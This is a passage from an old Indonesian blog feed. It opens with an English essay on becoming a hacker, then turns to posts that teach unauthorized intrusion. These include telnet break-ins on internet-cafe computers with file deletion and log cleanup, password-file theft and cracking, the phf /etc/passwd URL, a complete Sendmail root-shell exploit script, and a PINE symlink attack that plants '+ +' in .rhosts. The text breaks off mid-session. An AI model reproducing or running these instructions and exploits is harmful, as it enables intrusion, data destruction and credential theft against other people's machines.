this&lt;br /&gt;foundation you'll be just another little geek, who might know the magic&lt;br /&gt;words to the spell but dosent understand what he's doing! So RTFM!&lt;br /&gt;..so what does that mean? Read The Fucking Manual! You will be sooo&lt;br /&gt;amazed at how easy most things are if you just try to read the manual&lt;br /&gt;first! The truth is: Most people cant read. Or they read poorly if&lt;br /&gt;they read at all. So if you can't really read...STOP RIGHT HERE. GO&lt;br /&gt;learn to read first. If you can't read at a minimum 12th Grade level&lt;br /&gt;you cant be a hacker. Reading is the basic skill you must have to do&lt;br /&gt;EVERYTHING BEYOND THIS POINT.&lt;br /&gt;&lt;br /&gt; Tell your friends you cant party...you're busy. Spend at least 4&lt;br /&gt;hours a day at your new-found fascination...or decide right here&lt;br /&gt;and now that you cant cut it! If you CAN, get a copy of MINIX or&lt;br /&gt;LINUX...start learning about OPERATING SYSTEMS. Then start your&lt;br /&gt;1st real hack...try building a computer-controlled, DTMF dialer&lt;br /&gt;card for your cheap PC...write the code to use it with, make it&lt;br /&gt;a TSR to keep life interesting...now port it to MINIX or whatever&lt;br /&gt;...better yet, port it as an IOCTL call at kernel level! You keep&lt;br /&gt;reading...&lt;br /&gt;&lt;br /&gt; Now you're ready to take on something more complex - go to the&lt;br /&gt;Library, start a literature search; topic: Telephone Technologies.&lt;br /&gt;RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the&lt;br /&gt;fab MFTSS, the TELEX boxes and circuits...keep reading...buy up&lt;br /&gt;an older, cheap (like under $50) cellular phone...by this time&lt;br /&gt;you should already have a subscription to 'Nuts &amp; Volts" as well&lt;br /&gt;as a few other grassroots technology pubs....buy a copy of the&lt;br /&gt;"Cellular Hacker's Bible"....start by doing something simple..&lt;br /&gt;..disassemble and re-write the phone`s control ROM to allow it&lt;br /&gt;to function as an 800MHZ scanner...hopefully you've assembled&lt;br /&gt;a large array of tools and test gear by now. You've got a good&lt;br /&gt;dual-trace scope, some pc-based PROM burner, a signal generator,&lt;br /&gt;a logic probe or two, maybe even a microprocessor-emulator for&lt;br /&gt;the 5051, the Z80, the 68010 or something....you may have been&lt;br /&gt;dragged into some fields-afar by life - incorporate them: If&lt;br /&gt;somebody drasgged you into SCUBA, build your own sonar. If you&lt;br /&gt;have gotten interested in amateur radio, you can build a lot&lt;br /&gt;of swell stuff...I recommend you checkout Packet's AX25A level2&lt;br /&gt;protocol...very slick stuff! If your bud's are all into motors,&lt;br /&gt;take a whak at doing your own Performance PROMS for GM's F.I. and&lt;br /&gt;spark advance curves...or try adapting some Volkswagen/BOSCHE&lt;br /&gt;Kjetronics F.I. to a Harley Davidson!..maybe you're into music&lt;br /&gt;so you buy a synthesizer and learn all about electronic music,&lt;br /&gt;you start hacking analog modules and build a nicer synth than you&lt;br /&gt;could buy! Then you interface it to a MIDI port on a cheap 286AT&lt;br /&gt;and then hack up some sequencer software, or buy some and then&lt;br /&gt;disassemble it to fix all the bugs! You keep reading...&lt;br /&gt;&lt;br /&gt; By now most of your friends are also "far into the pudding", you&lt;br /&gt;have either gained 50 lbs or gone totally skinny...your skin tone&lt;br /&gt;is 2 shades lighter from being indoors so long...most of the opposite&lt;br /&gt;sex is either totally freaked by or with you - they either dig you,&lt;br /&gt;or they dont!...you're probably knocking on the door of what will&lt;br /&gt;be a $60K+/yr job as a systems analyst...and you are well-aware that&lt;br /&gt;90% of the people in this world can't talk their way out of a badly&lt;br /&gt;cooked steak at the local eatery, let alone install a new motherboard&lt;br /&gt;in their PC! So you pick up some extra cash on doing shit like that&lt;br /&gt;for the straights...you keep reading, and RTFM'ing higher and higher,&lt;br /&gt;learning about networks...the VCR breaks down and your SO bitches&lt;br /&gt;about having to wait till monday to have it fixed...you fix it in&lt;br /&gt;about 40 minutes....the next day the clothes dryer starts to make&lt;br /&gt;squeeking noises like a 50' mouse, you've never fixed one before -&lt;br /&gt;but somehow it's not that difficult to open the bastard up and find&lt;br /&gt;the squeek and fix it...and suddenly it dawns on you that hacking&lt;br /&gt;code or hardware is pretty much the same! You keep reading...&lt;br /&gt;&lt;br /&gt; Congrats, you are now a real hacker. Absolutly nothing but a lack of&lt;br /&gt;time (or in some cases money) can stop you. You are a true Technologic&lt;br /&gt;Philosopher...you can function in places a mere Engineer or Scientist&lt;br /&gt;would truly FEAR TO TREAD! You can read better than Evelyn Wood, you&lt;br /&gt;have a collection of tools that would make a Master Machinist and a&lt;br /&gt;Prototype EE or ME cry. You can calculate series and parallel resonant&lt;br /&gt;circuits in your head. You can fix any consumer appliance - if you can&lt;br /&gt;get the parts. Your car has either become one of your main hacks or&lt;br /&gt;you'ver deligated the job to a mechanic who you have found to be a&lt;br /&gt;fellow hacker; and you work on his homebrew 68010 unix box...because&lt;br /&gt;you've got a 68010 emulator and he works on your car because that's&lt;br /&gt;the kind he specializes in! Maybe you trade services with people&lt;br /&gt;for 50% of what ordinary people have to BUY WITH CASH!...you keep&lt;br /&gt;reading...&lt;br /&gt;&lt;br /&gt; (this is the stage where the author now finds himself...16 years&lt;br /&gt;  into a career at a Fortune 5 company and age 42...still reading...&lt;br /&gt;  your mileage may vary! &lt;-((that's my code too! I co-wrote VEEP,&lt;br /&gt;  (vehicle-economy-emissions-program, a complete auto-simulator,&lt;br /&gt;  written in Fortran-5 for the Univac 1108 system using punch-cards!)&lt;br /&gt;  for the Ford Foundation and the DOT while at JPL in 1973)) )&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-7223835943131563744?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/7223835943131563744/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hackmind.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7223835943131563744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7223835943131563744'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hackmind.html' title='Hackmind'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-596658373492776601</id><published>2009-05-27T13:52:00.001-07:00</published><updated>2009-05-27T13:52:49.017-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking with telnet (chapter 2)</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;sekarang kamu sudah bisa melakukan masuk ke dalam komputer target mu...tapi yang dinamakan hacking itu bukan hanya sebatas masuk saja tanpa berbuat sesuatu.&lt;br /&gt;...dalam chapter 2 ini, gw harap kamu bisa melakukan pola penyerangan yang pasti.dalam dunia hacking, ga ada belas kasihan(duuhhh galaknya gw)..kamu kalu mau berbuat,&lt;br /&gt;ga perlu tanggung, tujuan mu adalah serang target,dapatkan keinginanmu, puaskan nafsumu(hehehehe), lalu campakan dia...alah lebay dah gw&lt;br /&gt;&lt;br /&gt;lanjut ajah yach ke chapter 2 na&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;caranya:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;16. Pastikan tujuan mu untuk melakukan hacking sbelumnya.apakah kamu hanya ingin mengacak-ngacak direktorinya??hapus semua file??mengambil filenya??upload virus??or hanya buat have fun saja??&lt;br /&gt;&lt;br /&gt;17. Sekarang kita periksa root[.] #: dengan cara ketikan di CMD yaitu: DIR&lt;br /&gt;&lt;br /&gt;18. Sekarang sudah terlihat isi direktory C: dari komputer target...&lt;br /&gt;&lt;br /&gt;19. Bila anda ingin masuk ke dalam suatu folder, maka code yang kamu harus ketik adalah:CD(spasi) nama file&lt;br /&gt;  contoh: CD windows lalu tekan enter&lt;br /&gt;&lt;br /&gt;20. Bila anda ingin kembali ke folder sebelumnya, anda hanya cukup mengetikan kode adalah:CD\&lt;br /&gt;  Contoh: CD\&lt;br /&gt;&lt;br /&gt;21. Ini ada hal yang perlu kamu ketahui sedikit tentang kode-kode yang di gunakan dalam CMD yaitu:&lt;br /&gt; 1.DEL(spasi) nama file/folder&lt;br /&gt; 2.COPY(spai) nama file/folder&lt;br /&gt; 3.paste(spasi nama file/folder&lt;br /&gt; 4.Format C/D&lt;br /&gt;&lt;br /&gt;22. Sekarang anda sudah mendapatkan yang anda inginkan, langkah selanjutnya adalah mencari folder telnet di root awal&lt;br /&gt;&lt;br /&gt;23. Cari dan temukan segera, karena bila anda dalam jaringan yang bukan berada di LAN maksud gw itu hacking web or bank...factor kecepatan tangan lebih diutamakan karena bisa saja dalam hitungan menit bahkan detik, IP address kamu terdeteksi...dan ini menimbulkan masalah yang besar buat anda&lt;br /&gt;&lt;br /&gt;24. santai saja, karena yang anda hacking itu bukan komputer web, bank, or kantoran...melainkan hanya hacking kecil versi LAN...tapi tetap di utamakan kecepatan&lt;br /&gt;&lt;br /&gt;25. Bila sudah anda temukan folder TELNET, sekarang kamu wajib menghapus IP address kamu.sebab begitu kamu telnet ke komputer target,maka IP address kamu sebenarnya sudah terdeteksi oleh komputer target...tapi intinya adalah kita pinter-pinter ngambil celah saat user target sedang lengah&lt;br /&gt;&lt;br /&gt;26. ketikan kode tersebut: Del(spasi) IP address kamu.&lt;br /&gt; Contoh: Del 192.168.1.2  lalu tekan enter&lt;br /&gt;27. Setelah selesai, jangan lupa untuk membersihkan layar CMD dengan kode: CLS&lt;br /&gt; Contoh: CLS&lt;br /&gt;28. Close CMD and tutup semua program yang mendukung tools kita dalam hacking kali ini&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pesan dari Gw:&lt;br /&gt;1. Kalo bisa sich kamu punya tujuan yang bener-bener manfaat buat kamu pribadi&lt;br /&gt;2. Dari bulletin ini, gw harap kamu udah bener-bener mahir dalam masalah hacking and bisa menjadi hacker sejati&lt;br /&gt;3. Jangan tergesa-gesa menghapus telnet-nya, soalna bisa mengundang kecurigaan orang di samping anda.tenang ajah sob, ga kamu hapus juga no problem b`coz ini baru versi LAN ajah.tapi inget dalam versi yang global, jangan coba-coba untuk tidak menghapus telnet IP address kamu, karena kamu bisa di laporkan ke pihak police cyber&lt;br /&gt;4. Keep fun yach...&lt;br /&gt;5. Kalo bisa, pas lagi melakukannya dengan santai saja. ga perlu di bawa serius&lt;br /&gt;6. Sekali lagi, penyalahgunaan bulletin ini penulis tidak bertanggung jawab atas hal-hal yang belum terpikirkan oleh gw sendiri...hehehehehehe&lt;br /&gt;&lt;br /&gt;Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nice have fun ^,..,^&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-596658373492776601?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/596658373492776601/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-with-telnet-chapter-2.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/596658373492776601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/596658373492776601'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-with-telnet-chapter-2.html' title='hacking with telnet (chapter 2)'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-7943480142031440355</id><published>2009-05-27T13:51:00.000-07:00</published><updated>2009-05-27T13:52:02.919-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking with TELNET  NETWORKING</title><content type='html'>apaan tuh telnet??and apa tuh tujuan dari hacking telnet??keuntungannya apa coba hacking telnet??&lt;br /&gt;and kalo bagus, gimana sich caranya buat melakukan hal tersebut??&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mungkin itu kata-kata yang sempat mampir ke otak kalian...humm, sok tahu banget gw kaya ki joko bodo&lt;br /&gt;...tapi biarlah,..&lt;br /&gt;oia sebelumnya gw mau ngenalin ke kamu hal-hal yang akan kamu lakukan dalam dunia jaringan bebas...&lt;br /&gt;didalam pembelajaran ini, gw hanya akan ngebahas bagaimana caranya hacking with telnet networking hanya di dalam jaringan kecil-kecilan dulu&lt;br /&gt;coz kita kan belajar dari yang kecil dahulu, baru kita mencoba yang lebih besar...intinya, target hacking kita itu yang pertama adalah warnet...??&lt;br /&gt;kenapa gw memilih warnet??soalnya kebanyakan keusilan gw banyak tercipta karena dendam pribadi di warnet....hehehehhehehehe&lt;br /&gt;&lt;br /&gt;okay...kita mulai ajah deh, g usah kebanyakan curhat lagi gw na...&lt;br /&gt;&lt;br /&gt;Kisi-kisi buat kamu:&lt;br /&gt;&lt;br /&gt;1. Bacalah Bassmalah, agar yang kita kerjakan sukses and ga ke tahuan sama operatornya&lt;br /&gt;2. Makan yang cukup n minum seperlunya...soalnya bakal lama kalo kamu gagal terus and kebanyakan teori &lt;br /&gt;3. Tidur yang cukup agar tidak terlelah karena kecapean...soalnya bakal cape baca bulletin ini yang gw post kan...hehehehe&lt;br /&gt;4. Niatin dalam hati kalo kamu pasti bisa&lt;br /&gt;5. Pasang Lagu or MP3 agar lebih rilex&lt;br /&gt;&lt;br /&gt;baiklah kita mulai saja:&lt;br /&gt;1. klik START -&gt; RUN -&gt; CMD&lt;br /&gt;&lt;br /&gt;2. di CMD ketikan netview lalu tekan enter&lt;br /&gt;&lt;br /&gt;3. Di dalam CMD akan muncul daftar-daftar nama komputer yang terintegrasi dalam jaringan mu(LAN)...&lt;br /&gt;&lt;br /&gt;4. Sebelumnya tentukan arah mana komputer yang akan kita hacking terlebih dahulu&lt;br /&gt;&lt;br /&gt;5. Agar kita lebih yakin dalam hacking ini, kita di sunnah kan juga tau alamat IP komputer tersebut. untuk itulah gw menggunakan Advanced IP scanner(yang berada di AREA DOWNLOAD TOOLS)...kalau perlu download semua tools/software yang telah gw sediakan dalah hacking ini&lt;br /&gt;&lt;br /&gt;6. Jalankan Advanced IP Scanner...penggunaan software ini hanya kita butuhkan untuk scanner IP saja, bila anda terlalu memaksakan penggunaannya dapat menyebabkan komputer hang...ini saran terbaik gw &lt;br /&gt;&lt;br /&gt;7. Atur Select Range: &lt;br /&gt;  Contoh: Select Range:192.168.1.2 to:192.168.1.255 lalu klik SCAN&lt;br /&gt;&lt;br /&gt;8. Maka akan muncul daftar IP dari 192.168.1.1 sampai 192.168.1.255 yang sedang online...pilih salah satu IP address tersebut&lt;br /&gt;&lt;br /&gt;9. Berikutnya kita di sunnah kan juga untuk mencari port dari IP address tujuan kita...jalankan saja software or tools yang sudah di download sebelumnya di PC anda.sebenarnya ini ga terlalu penting sich, hanya untuk mengakurasikan keberhasilan hacking sampai kesekian % ajah&lt;br /&gt;&lt;br /&gt;10. Setelah ditentukan IP nya dan portnya...kita balik lagi ke CMD tadi...&lt;br /&gt;&lt;br /&gt;11. Sekarang kita coba ping IP address tersebut di CMD, apakah benar masih online...dengan cara:&lt;br /&gt;  Contoh: ping(spasi)IP lalu tekan enter&lt;br /&gt;  Contoh: ping 192.168.12 lalu tekan enter&lt;br /&gt;&lt;br /&gt;12. Pastikan ping ini berhasil untuk melanjutkan kedalam tahap berikutnya&lt;br /&gt;&lt;br /&gt;13. Setelah ping ini berhasil, kemudian kamu ketikan lagi perintah di CMD yaitu:&lt;br /&gt;  Sebagai Berikut: Telnet(spasi)IP address(spasi)port lalu tekan Enter&lt;br /&gt;  Contoh: telnet 192.168.1.2 23 lalu tekan Enter &lt;br /&gt;&lt;br /&gt;14. Setelah itu anda diminta untuk mengisi user and password komputer target agar hal ini dapat terakses di bawah kekuasaan komputer target&lt;br /&gt;&lt;br /&gt;15. Setelah berhasil...sampai saat itu gw ucapkan SELAMAT DATANG HACKERS DI KOMPUTER TARGET&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lanjut chapter 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pesan dari Gw:&lt;br /&gt;1. sorry banget nich kalau cara ini terlalu panjang lebar...tapi ini sudah cara prosedure yang sering gw lakukan dalam hal ini&lt;br /&gt;2. Sebenernya ada sich cara yang lebih simple lagi, cukup dengan software Advanced IP scanner v1.5...tapi gw ga memperkenankan kamu buat menggunakannya lebih jauh,b`coz ga bakalan nambah ilmu buat kamu nya and ini masih dikatakan belum stabil karena sering membuat komputer berjalan lambat bila dipaksakan aktif semua tools yang terdapat di software tersebut&lt;br /&gt;3. Jangan mengundang hal-hal yang membuat orang tertarik kepada anda, contohnya:anda mengancam akan melakukan hal ini pada komputer target, or apa sajalah&lt;br /&gt;4. Ini perjuangan belum berakhir, masih ada chapter 2 yang penting anda ketahui dalam hacking kecil-kecilan ini&lt;br /&gt;5. Gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^&lt;br /&gt;6. Gw gax bakalan mau nanggung penyalah gunaan bulletin ini, sanksi di tanggung anda.tapi gw jamin, g bakalan ada sanksi dari pihak manapun kalao anda mengikuti prosedure yang gw kasih tahu ke kamu&lt;br /&gt;7. Ini buat have fun ajah kox...&lt;br /&gt;&lt;br /&gt;Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...&lt;br /&gt;karena gw ga nutup kemungkinan yang ada dari kalian semua...&lt;br /&gt;&lt;br /&gt;nice have fun ^,..,^  lanjut chapter 2 yach &lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-7943480142031440355?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/7943480142031440355/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-with-telnet-networking.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7943480142031440355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7943480142031440355'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-with-telnet-networking.html' title='Hacking with TELNET  NETWORKING'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-5250364595509633200</id><published>2009-05-27T13:50:00.000-07:00</published><updated>2009-05-27T13:51:13.777-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking WebPages</title><content type='html'>Hacking Webpages&lt;br /&gt;The Ultimate Guide&lt;br /&gt;By mangasaya.blogspot.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques."  We will discuss a few various ways of hacking webpages and getting root.  We are also going to interview and question other REAL hackers on the subjects.&lt;br /&gt;&lt;br /&gt;Getting the Password File Through FTP&lt;br /&gt;&lt;br /&gt;Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...&lt;br /&gt;&lt;br /&gt;root:User:d7Bdg:1n2HG2:1127:20:Superuser&lt;br /&gt;TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh&lt;br /&gt;BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh&lt;br /&gt;&lt;br /&gt;This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.&lt;br /&gt;&lt;br /&gt;root:x:0:1:Superuser:/:&lt;br /&gt;ftp:x:202:102:Anonymous ftp:/u1/ftp:&lt;br /&gt;ftpadmin:x:203:102:ftp Administrator:/u1/ftp&lt;br /&gt;&lt;br /&gt;This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password.  This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:&lt;br /&gt;&lt;br /&gt;root:x:0:1:0000-Admin(0000):/:/usr/bin/csh&lt;br /&gt;daemon:x:1:1:0000-Admin(0000):/:&lt;br /&gt;bin:x:2:2:0000-Admin(0000):/usr/bin:&lt;br /&gt;sys:x:3:3:0000-Admin(0000):/:&lt;br /&gt;adm:x:4:4:0000-Admin(0000):/var/adm:&lt;br /&gt;lp:x:71:8:0000-lp(0000):/usr/spool/lp:&lt;br /&gt;smtp:x:0:0:mail daemon user:/:&lt;br /&gt;uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:&lt;br /&gt;nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico&lt;br /&gt;listen:x:37:4:Network Admin:/usr/net/nls:&lt;br /&gt;nobody:x:60001:60001:uid no body:/:&lt;br /&gt;noaccess:x:60002:60002:uid no access:/:&lt;br /&gt;webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh&lt;br /&gt;pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false&lt;br /&gt;ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false&lt;br /&gt;&lt;br /&gt;Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.&lt;br /&gt;&lt;br /&gt;Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it. &lt;br /&gt;&lt;br /&gt;Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file...  When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net.  A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .  We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The PHF Technique&lt;br /&gt;&lt;br /&gt;Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.&lt;br /&gt;&lt;br /&gt;The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link: &lt;br /&gt;&lt;br /&gt;http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd &lt;br /&gt;&lt;br /&gt;You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:&lt;br /&gt;&lt;br /&gt;http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;and that's it! You just sit back and copy the file(if it works).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Telnet and Exploits &lt;br /&gt;&lt;br /&gt;Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.&lt;br /&gt;It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless. &lt;br /&gt;&lt;br /&gt;This exploit is known as Sendmail v.8.8.4&lt;br /&gt;It creates a suid program /tmp/x that calls shell as root. This is how you set it up:&lt;br /&gt;&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/x.c&lt;br /&gt; #define RUN "/bin/ksh"&lt;br /&gt; #include&lt;stdio.h&gt;&lt;br /&gt; main()&lt;br /&gt; {&lt;br /&gt;    execl(RUN,RUN,NULL);&lt;br /&gt; }&lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/spawnfish.c&lt;br /&gt; main()&lt;br /&gt; {&lt;br /&gt;   execl("/usr/lib/sendmail","/tmp/smtpd",0);      &lt;br /&gt; }                                             &lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/smtpd.c&lt;br /&gt; main()&lt;br /&gt; {&lt;br /&gt;   setuid(0); setgid(0); &lt;br /&gt;   system("chown root /tmp/x ;chmod 4755 /tmp/x");&lt;br /&gt; }&lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;gcc -O  -o /tmp/x /tmp/x.c&lt;br /&gt;gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c&lt;br /&gt;gcc -O3 -o /tmp/smtpd /tmp/smtpd.c&lt;br /&gt;#&lt;br /&gt;/tmp/spawnfish&lt;br /&gt;kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`&lt;br /&gt;rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c&lt;br /&gt;sleep 5&lt;br /&gt;if [ -u /tmp/x ] ; then&lt;br /&gt;   echo "leet..."&lt;br /&gt;   /tmp/x&lt;br /&gt;fi &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE,  one can then do an ls in /tmp/ to gather the lockfile names for each user.  Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting&lt;br /&gt;  the respective lockfile.&lt;br /&gt;&lt;br /&gt;  Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents.  One may now simply do an echo "+ +" &gt; /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.&lt;br /&gt;&lt;br /&gt;This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:&lt;br /&gt;&lt;br /&gt;hamors (21 19:04) litterbox:~&gt; pine&lt;br /&gt;&lt;br /&gt;catluvr (6 19:06) litterbox:~&gt; ps -aux | grep pine&lt;br /&gt;catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine&lt;br /&gt;hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine&lt;br /&gt;&lt;br /&gt;catluvr (7 19:07) litterbox:~&gt; ls -al /tmp/ | grep hamors&lt;br /&gt;- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4&lt;br /&gt;&lt;br /&gt;catluvr (8 19:07) litterbox:~&gt; ps -aux | grep pine&lt;br /&gt;catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine&lt;br /&gt;&lt;br /&gt;catluvr (9 19:09) litterbox:~&gt; ln -s /home/hamors/.rhosts /tmp/.302.f5a4&lt;br /&gt;&lt;br /&gt;hamors (23 19:09) litterbox:~&gt; pine&lt;br /&gt;&lt;br /&gt;catluvr (11 19:10) litterbox:~&gt; ps -aux | grep pine&lt;br /&gt;catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine&lt;br /&gt;hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine&lt;br /&gt;&lt;br /&gt;catluvr (12 19:11) litterbox:~&gt; echo "+ +" &gt; /tmp/.302.f5a4&lt;br /&gt;&lt;br /&gt;catluvr (13 19:12) litterbox:~&gt; cat 